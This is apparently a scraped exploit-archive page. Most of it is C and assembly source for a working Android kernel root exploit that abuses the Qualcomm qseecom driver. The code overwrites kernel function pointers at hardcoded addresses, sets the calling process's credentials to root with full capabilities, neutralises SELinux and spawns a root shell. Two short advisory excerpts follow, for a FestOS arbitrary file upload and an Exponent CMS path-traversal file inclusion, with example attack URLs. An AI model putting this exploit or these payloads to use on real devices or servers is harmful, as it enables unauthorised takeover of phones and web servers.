#include <dlfcn.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <dirent.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/mount.h> #include <linux/ptrace.h> #include <linux/prctl.h> #include <sys/system_properties.h> #include <errno.h> #include <termios.h> #include <sys/syscall.h> #include <sys/socket.h> #include <arpa/inet.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netinet/in.h> #include <errno.h> #include <linux/ion.h> #include "../kernel.h" #include "qseecom.h" //4.4.2 CFW(for debug) //#define PTMX_FOPS 0xc1334e00 //fnPrintk printk = 0xc0a0113c; //Nexus Android 5.0 OFW #define PTMX_DEVICE "/dev/ptmx" #define PTMX_FOPS 0xc1236cd8 fnPrintk printk = 0xc0a21e78; int MyCommitCred(int ruid, int rgid, signed int a3, int isSelinux); int kmemcmp(char *a1, char *a2, int len) { int v3; // r3@2 int v4; // r4@3 int v5; // r5@3 int result; // r0@4 if ( len ) { v3 = 0; while ( 1 ) { v4 = a1[v3]; v5 = a2[v3]; if ( v4 != v5 ) break; if ( a1[v3] ) { ++v3; if ( len != v3 ) continue; } goto LABEL_7; } result = v4 - v5; } else { LABEL_7: result = 0; } return result; } int g_pid = 0; int g_tgid = 0; int open_ion(){ int fd = open("/dev/ion",O_RDONLY); if (fd<0){ perror("open"); } printf("ion fd %d\n",fd); return fd; } // http://lwn.net/Articles/480055/ /* * struct ion_allocation_data { size_t len; size_t align; unsigned int heap_mask; unsigned int flags; struct ion_handle *handle; }; * * * */ #define ION_FLAG_SECURE (1<<31) int alloc_ion_memory(int client_fd,int size,struct ion_handle** pphandle){ int ret = -1; struct ion_allocation_data data; // ION_FLAG_CACHED data.len = size; data.align = size; data.flags = ION_HEAP_TYPE_CARVEOUT ; //data.heap_mask = ION_HEAP_TYPE_CARVEOUT; //data.handle = handle; ret = ioctl(client_fd, ION_IOC_ALLOC, &data); if (ret<0){ perror("ION_IOC_ALLOC"); } *pphandle = data.handle; return ret; } /* struct ion_fd_data { struct ion_handle *handle; int fd; } */ int share_ion_memory(int client_fd,struct ion_handle* handle){ struct ion_fd_data data; data.handle = handle; data.fd = -1; int ret = ioctl(client_fd, ION_IOC_SHARE, &data); return data.fd; } int obtain_dma_buf_fd(int size){ int fd_device = open_ion(); int dmf_fd = -1; struct ion_handle* handle; int ret = alloc_ion_memory(fd_device,size,&handle); if (ret<0){ perror("alloc_ion_memory"); } dmf_fd = share_ion_memory(fd_device,handle); if (dmf_fd<0){ perror("share_ion_memory"); } return dmf_fd; } void* fd_to_mmap(int fd,int size){ void* seg_addr = mmap(0, size , PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if(seg_addr == MAP_FAILED){ perror("fd_to_map"); } return seg_addr; } //c0a0113c T printk void sayhello(){ fnPrintk printk = 0xc0a0113c; printk("hell0 shellocde"); return; } void shell_code2(); static int run_obtain_root_privilege() { int fd; int ret; fd = open(PTMX_DEVICE, O_WRONLY); if(fd<=0){perror("ptmx");return -1;} ret = fsync(fd); close(fd); return ret; } int main(int argc, char *argv[]){ printf("mypid %d\n",getpid()); int ret = -1; int fd = open("/dev/qseecom", 0); if (fd<0){ perror("open"); exit(-1); } void* abuseBuff = malloc(400); memset(abuseBuff,0,400); int* intArr = (int*)abuseBuff; int j = 0; for(j=0;j<24;j++){ intArr[j] = 0x1; } struct qseecom_send_modfd_cmd_req ioctlBuff; prctl(PR_SET_NAME, "GodFather", 0, 0, 0); // if(0==fork()){ g_pid = getpid(); g_tgid = g_pid; prctl(PR_SET_NAME, "ihoo.darkytools", 0, 0, 0); //QSEECOM_IOCTL_SET_MEM_PARAM_REQ struct qseecom_set_sb_mem_param_req req; req.ifd_data_fd = obtain_dma_buf_fd(8192); req.virt_sb_base = abuseBuff; req.sb_len = 8192; ret = ioctl(fd, QSEECOM_IOCTL_SET_MEM_PARAM_REQ, &req); printf("QSEECOM_IOCTL_SET_MEM_PARAM_REQ return 0x%x \n",ret); ioctlBuff.cmd_req_buf = abuseBuff; ioctlBuff.cmd_req_len = 400; ioctlBuff.resp_buf = abuseBuff; ioctlBuff.resp_len = 400; int i = 0; for (i = 0;i<4;i++){ ioctlBuff.ifd_data[i].fd = 0; ioctlBuff.ifd_data[i].cmd_buf_offset =0; } ioctlBuff.ifd_data[0].fd = req.ifd_data_fd; ioctlBuff.ifd_data[0].cmd_buf_offset = 0;//(int)(0xc03f0ab4 + 8) - (int)abuseBuff; printf("QSEECOM_IOCTL_SEND_CMD_REQ"); ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff); printf("return %p %p\n",intArr[0],intArr[1]); perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n"); printf("ioctl return 0x%x \n",ret); //*(int*)intArr[0] = 0x0; void* addr = mmap(intArr[0],4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,-1,0); printf("mmap return %p \n",addr); *(int*)addr = 0xE3500000; *((int*)((int)addr+4)) = 0xe1a0f00e; memcpy(addr,shell_code2,400); int* arr = (int*)addr; for(i=0;i<10;i++){ if(arr[i] == 0xeeeeeeee) arr[i] = (int)MyCommitCred; printf("%p\n",arr[i]); } //c1334e00 b ptmx_fops ioctlBuff.ifd_data[0].cmd_buf_offset = (int)(PTMX_FOPS + 14*4) - (int)abuseBuff; printf("QSEECOM_IOCTL_SEND_CMD_REQ"); ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff); printf("return %p %p\n",intArr[0],intArr[1]); perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n"); printf("ioctl return 0x%x \n",ret); run_obtain_root_privilege(); char * argv1[]={"sh",(char *)0}; int result = execv("/system/bin/sh", argv1); if(result){ perror("execv"); } return 0; } int MyCommitCred(int ruid, int rgid, signed int a3, int isSelinux) { int v38; // [sp+0h] [bp-60h]@1 int addrBase; char szName[16] = "ihoo.darkytools"; int offset; mycred *my_cred; mycred *my_real_cred; struct task_security_struct * tsec; int ret = -1; int searchLenth; isSelinux = 1; //return 0; addrBase = *(int*)(((int)(&v38) & 0xFFFFE000) + 0xC); //return addrBase; if ( addrBase > 0xBFFFFFFF ) { offset = 0; while ( 1 ) { addrBase += 4; if ( !kmemcmp(addrBase, szName, 16) ) break; ++offset; if ( offset == 0x600 ) { return 18; } } } else return 17; my_cred = *(int*)(addrBase -8); my_real_cred = *(int*)(addrBase -8 - 4); searchLenth = 0; while(searchLenth<0x20){ if(!my_cred || !my_real_cred || my_cred<0xBFFFFFFF || my_real_cred<0xBFFFFFFF ){ //2.6? addrBase-=4; my_cred = *(int*)(addrBase-8 ); my_real_cred = *(int*)(addrBase -8-4); } else break; searchLenth++; } if(searchLenth == 0x20) return 0X20; // fuck!! where is my cred??? my_cred->uid = 0; my_cred->gid = 0; my_cred->suid = 0; my_cred->sgid = 0; my_cred->egid = 0; my_cred->euid = 0; my_cred->fsgid = 0; my_cred->fsuid = 0; my_cred->securebits=0; my_cred->cap_bset.cap[0] = -1; my_cred->cap_bset.cap[1] = -1; my_cred->cap_inheritable.cap[0] = -1; my_cred->cap_inheritable.cap[1] = -1; my_cred->cap_permitted.cap[0] = -1; my_cred->cap_permitted.cap[1] = -1; my_cred->cap_effective.cap[0] = -1; my_cred->cap_effective.cap[1] = -1; my_real_cred->uid = 0; my_real_cred->gid = 0; my_real_cred->suid = 0; my_real_cred->sgid = 0; my_real_cred->egid = 0; my_real_cred->euid = 0; my_real_cred->fsgid = 0; my_real_cred->fsuid = 0; my_real_cred->securebits=0; my_real_cred->cap_bset.cap[0] = -1; my_real_cred->cap_bset.cap[1] = -1; my_real_cred->cap_inheritable.cap[0] = -1; my_real_cred->cap_inheritable.cap[1] = -1; my_real_cred->cap_permitted.cap[0] = -1; my_real_cred->cap_permitted.cap[1] = -1; my_real_cred->cap_effective.cap[0] = -1; my_real_cred->cap_effective.cap[1] = -1; if(isSelinux){ tsec = my_cred->security; if(tsec && tsec > 0xBFFFFFFF){ tsec->sid = 1; tsec->exec_sid = 1; ret = 15; } else { tsec = (struct task_security_struct*)(*(int*)(0x10 + (int)&my_cred->security)); if(tsec && tsec > 0xBFFFFFFF){ tsec->sid = 1; tsec->exec_sid = 1; ret = 15; } } tsec = my_real_cred->security; if(tsec && tsec > 0xBFFFFFFF){ tsec->sid = 1; tsec->exec_sid = 1; ret = 15; }else { tsec = (struct task_security_struct*)(*(int*)(0x10 + (int)&my_real_cred->security)); if(tsec && tsec > 0xBFFFFFFF){ tsec->sid = 1; tsec->exec_sid = 1; ret = 15; } } } else{ ret = 16; } printk("return %d",ret); return ret; } //=========================================msm.c end============================================= //=========================================shellcode.S start============================================= #define __ASSEMBLY__ #include <linux/linkage.h> .extern sayhello ENTRY(shell_code2) ldr r0, [pc , #4] STMFD SP!, {R0} LDMFD SP!, {PC} .byte 0xee, 0xee, 0xee, 0xee //=========================================shellcode.S end=============================================
HireHackking

FestOS 2.3c - 'upload.php' Arbitrary File Upload

source: https://www.securityfocus.com/bid/47751/info FestOS is prone to an arbitrary-file-upload vulnerability because the application fails to adequately sanitize user-supplied input. An attacker can exploit this issue to upload arbitrary code and run it in the context of the webserver process. FestOS 2.3c is vulnerable; other versions may also be affected. http://www.example.com/[path]/admin/includes/tiny_mce/plugins/tinybrowser/upload.php
HireHackking
source: https://www.securityfocus.com/bid/47757/info Exponent CMS is prone to a local file-include vulnerability and an arbitrary-file-upload vulnerability. An attacker can exploit these issues to upload arbitrary files onto the webserver, execute arbitrary local files within the context of the webserver, and obtain sensitive information. Exponent CMS 2.0.0 beta 1.1 is vulnerable; other versions may also be affected. http://www.example.com/exponent/content_selector.php?controller=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00&section=&action=